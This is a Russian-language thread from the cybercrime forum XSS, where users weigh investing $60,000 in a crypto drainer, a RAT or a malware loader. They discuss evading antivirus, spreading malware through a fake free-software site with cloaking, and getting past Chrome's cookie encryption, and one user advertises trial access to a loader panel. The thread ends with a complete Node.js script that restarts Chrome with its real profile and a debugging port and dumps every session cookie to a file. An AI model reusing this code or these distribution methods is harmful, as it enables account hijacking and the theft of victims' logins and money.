• XSS.stack #1 – первый литературный журнал от юзеров форума

Куда лучше инвестировать 60.000$ в 2025 году? (Drainer vs RAT)

Это да. Мне не один уже человек писал, с огромными бюджетами, ищут лоадеры, но увы, все глухо.



https://xss.pro/threads/116625/

Софт, который качает и запускает другой софт. Понятно, что сам алгоритм может реализовать даже нуб с чат_гпт, ценность лоадера в обходах и закрепах.


Да кому они нужны, их в комерце полно.
Что вы думаете на счет актуальности дрейнера в 2025 году?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Что вы думаете на счет актуальности дрейнера в 2025 году?
Не могу ничего сказать, т.к. не разбираюсь в теме.
Спрашивайте меня только о вин32 малвари
 
Что вы думаете на счет актуальности дрейнера в 2025 году?
тебе продадут паблик сорц, попросят за рекламу(раскрутку продукта) и в итоге кинут
спроси у Scama))
 
тебе продадут паблик сорц, попросят за рекламу(раскрутку продукта) и в итоге кинут
спроси у Scama))
Так вопрос же не в этом)

Хотя обращаясь к твоим словам, ты прав, так оно и будет с бизнесменом папиным, который хочет куш сорвать и без бэкграунда. Но сейчас немного не об этом
 
тебе продадут паблик сорц, попросят за рекламу(раскрутку продукта) и в итоге кинут
спроси у Scama))
Было бы круто, если бы здесь поделились своим не очень приятным (как я понял) опытом. Так как лучше научиться на чужих ошибках
 
Так вопрос же не в этом)

Хотя обращаясь к твоим словам, ты прав, так оно и будет с бизнесменом папиным, который хочет куш сорвать и без бэкграунда. Но сейчас немного не об этом
Было бы круто, если бы здесь поделились своим не очень приятным (как я понял) опытом. Так как лучше научиться на чужих ошибках
попробую в 2 словах.
дрын - узкое направление. крипрта и только.
стилл - не факт, что стучать будет тебе(как и с дрыном ситуация, если смотреть глубже). если вообще тебе сделают с нуля, а не паблик сорц переделают
другие резиденты - аналогично (см строчку выше(независимо, винда, мак или ведро))
при таких реалиях, лодырь - это идеальный вариант. закон сохранения энергии(логов) всегда в почете будет.

ЗЫ. при таких инвестициях, найди кодера у себя в универе. будет надежнее.
 
попробую в 2 словах.
дрын - узкое направление. крипрта и только.
стилл - не факт, что стучать будет тебе(как и с дрыном ситуация, если смотреть глубже). если вообще тебе сделают с нуля, а не паблик сорц переделают
другие резиденты - аналогично (см строчку выше(независимо, винда, мак или ведро))
при таких реалиях, лодырь - это идеальный вариант. закон сохранения энергии(логов) всегда в почете будет.

ЗЫ. при таких инвестициях, найди кодера у себя в универе. будет надежнее.
На матфаке, ребята не так открыты к таким тиматикам как здесь)
 
Моя точка зрения о рат.

Делая свой проект, нужно понимание того, что это постоянно чистить стабы (уникализировать по сути код), всегда следить за актуальностью данных с вирус тотала и так далее.
В многих браузерах стоит защита от кражи куки (хотя хром всегда уязвим).
Так же сейчас мало кто работает по распространению, ютуб закрыл гайки, тик ток не настолько хороший "поставщик" инсталов.
Если делать рат, необходимо делать отдельно сайт для распространения. Например "форум с загрузкой фри программ" (был такой, 30-50 инсталлов в сутки). Но так же нужно не забывать про клоаку, которую нужно всегда актуализировать.

Но если все сделать как надо, можно с легкостью окупиться. Но на первых этапах очень много гемора.
 
Если делать рат, необходимо делать отдельно сайт для распространения. Например "форум с загрузкой фри программ"
трафер года
матфак - математический факультет)
в мое время был физмат
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Надо для себя понимать что если ты сам шаришь в этом и будешь делать это одно, если будешь привлекать кодера для написания то как итог вы разосретесь рано или поздно (и найти другого кодера чтобы разобрался в том что уже намутил первый в коде будет проблематично).
Драйнер - хорошая тема.
Малварь - если запускать продукт то он должен быть лучше аналогов с ценником ниже (чтобы всех приземлить). Лучше конечно мутить 2 проекта (второй это под android).

Если отдалиться от чернухи то как вариант WebCam аналог livejasmin.com - тема вечна, гуся гоняют практически все. Главное на Китай залететь.
Ну и в самом портале сделать еще например крипто-казино, прикрутить туда аналог onlyfans.com (чтобы еще контент там продавали), сервис поиска проституток в вашем городе, магазин партнерки с продажей кремов для увеличения члена, и прочее колдовское зелье подобие виагры, в общем целый комплекс. На крайний случай это потом все продать можно как готовый бизнес, а если наберет обороты то стоимость этого будет не с 4 нолями.
 
По поводу лоадеров.... Есть один инструмент. Управление через веб интерфейс. Могу на пару дней дать бесплатный доступ. Интересно мнение.
Если кому то интересно - за учеткой в личку или в токс D9CA0BFD943D53540962EC83BF812498DBCDE8DBBE1F60B8C845FAB96CD6E3486275D7D98ED9
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В многих браузерах стоит защита от кражи куки
Говорили обход через инжект хрома
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Говорили обход через инжект хрома
Вот только все дебаг портами и воруют, а не инжектом. Ибо хром почему то шифрует только куки через драйвер
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Говорили обход через инжект хрома
Код:
const WebSocket = require('ws');
const http = require('http');
const path = require('path');
const { exec } = require('child_process');



const BROWSER = 'chrome';
const DEBUG_PORT = 9222;
const DEBUG_URL = `http://localhost:${DEBUG_PORT}/json`;
const USER_DATA_DIR = path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data');
const PROFILE_DIR = 'Default';

const CONFIGS = {
    chrome: {
        bin: path.join(process.env.PROGRAMFILES, 'Google', 'Chrome', 'Application', 'chrome.exe'),
        args: [
            `--remote-debugging-port=${DEBUG_PORT}`,
            '--remote-allow-origins=*',
            
            '--disable-gpu',
            '--no-sandbox',
            '--disable-extensions',
            `--profile-directory=${PROFILE_DIR}`
        ]
    }
};

function startBrowser(binPath, args) {
    return new Promise((resolve, reject) => {
        const cmd = `"${binPath}" ${args.join(' ')}`;
        console.log(`Starting browser with command:\n${cmd}`);

        const browserProcess = exec(cmd, { windowsHide: true }, (error, stdout, stderr) => {
            if (stderr && !stderr.includes('DevTools listening')) {
                console.error('[Browser stderr]', stderr);
            }
            if (error && !error.killed) {
                console.error('Browser process error:', error.message);
            }
        });

        let retries = 0;
        const maxRetries = 10;
        const interval = 1000;

        const checkPort = setInterval(() => {
            http.get(DEBUG_URL, (res) => {
                if (res.statusCode === 200) {
                    clearInterval(checkPort);
                    console.log('✓ Debug port ready');
                    resolve(browserProcess);
                }
            }).on('error', () => {
                if (++retries >= maxRetries) {
                    clearInterval(checkPort);
                    reject(new Error(`Failed to connect to debug port after ${maxRetries} attempts`));
                }
            });
        }, interval);
    });
}

async function getDebugWsUrl() {
    return new Promise((resolve, reject) => {
        http.get(DEBUG_URL, (res) => {
            let data = '';
            res.on('data', (chunk) => data += chunk);
            res.on('end', () => {
                try {
                    const jsonData = JSON.parse(data);
                    if (jsonData && jsonData[0] && jsonData[0].webSocketDebuggerUrl) {
                        resolve(jsonData[0].webSocketDebuggerUrl.trim());
                    } else {
                        reject(new Error('Invalid debugger response format'));
                    }
                } catch (e) {
                    reject(new Error('Failed to parse debug URL response'));
                }
            });
        }).on('error', (err) => {
            reject(new Error(`Failed to get debug URL: ${err.message}`));
        });
    });
}

async function getAllCookies(wsUrl) {
    return new Promise((resolve, reject) => {
        const ws = new WebSocket(wsUrl);
        const timeout = setTimeout(() => {
            ws.close();
            reject(new Error('WebSocket connection timeout'));
        }, 15000);

        ws.on('open', () => {
            console.log('✓ Connected to DevTools');
            
            // Активируем Network domain
            ws.send(JSON.stringify({
                id: 1,
                method: 'Network.enable',
                params: {}
            }));

            // Добавляем задержку перед запросом cookies
            setTimeout(() => {
                console.log('Requesting cookies...');
                ws.send(JSON.stringify({
                    id: 2,
                    method: 'Network.getAllCookies',
                    params: {}
                }));
            }, 1000);
        });

        ws.on('message', (data) => {
            try {

        
                const response = JSON.parse(data);
                console.log(response);
                // Пропускаем служебные сообщения
                if (response.method) return;
                
                if (response.result?.cookies) {
                    clearTimeout(timeout);
                    ws.close();
                    console.log('✓ Cookies received');
                    resolve(response.result.cookies);
                }
            } catch (e) {
                clearTimeout(timeout);
                ws.close();
                reject(new Error('Failed to parse WebSocket response'));
            }
        });

        ws.on('error', (err) => {
            clearTimeout(timeout);
            reject(new Error(`WebSocket error: ${err.message}`));
        });
    });
}

async function cleanup(binPath) {
    console.log('Closing browser...');
    const procName = path.basename(binPath);
    await new Promise(resolve => {
        exec(`taskkill /IM "${procName}" /F /T`, () => resolve());
    });
}

async function main() {

    const config = CONFIGS[BROWSER];
    let browserProcess;

    try {
        // Закрываем все запущенные экземпляры Chrome
        console.log('Closing existing Chrome instances...');
        await new Promise(resolve => {
            exec(`taskkill /IM "${path.basename(config.bin)}" /F /T`, () => resolve());
        });

        // Запускаем Chrome с реальным профилем
        browserProcess = await startBrowser(config.bin, config.args);
        await new Promise((r) => setTimeout(r,10000))
        const wsUrl = await getDebugWsUrl();
        console.log(`Debug URL: ${wsUrl}`);

        const cookies = await getAllCookies(wsUrl);
        
        if (cookies.length > 0) {
            console.log('\nSuccess! Extracted cookies:');
            console.log(JSON.stringify(cookies, null, 2));
            
            // Сохраняем cookies в файл
            const outputFile = 'cookies.json';
            require('fs').writeFileSync(outputFile, JSON.stringify(cookies, null, 2));
            console.log(`\nCookies saved to ${outputFile}`);
        } else {
            console.log('\nNo cookies found. Possible reasons:');
            console.log('- Chrome profile is empty or not logged in');
            console.log('- Cookies are protected by additional encryption');
            console.log('- Chrome version has breaking changes in DevTools protocol');
        }

    } catch (error) {
        console.error('\nError:', error.message);
    } finally {
        await cleanup(config.bin);
    }
}

main().catch(console.error);
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх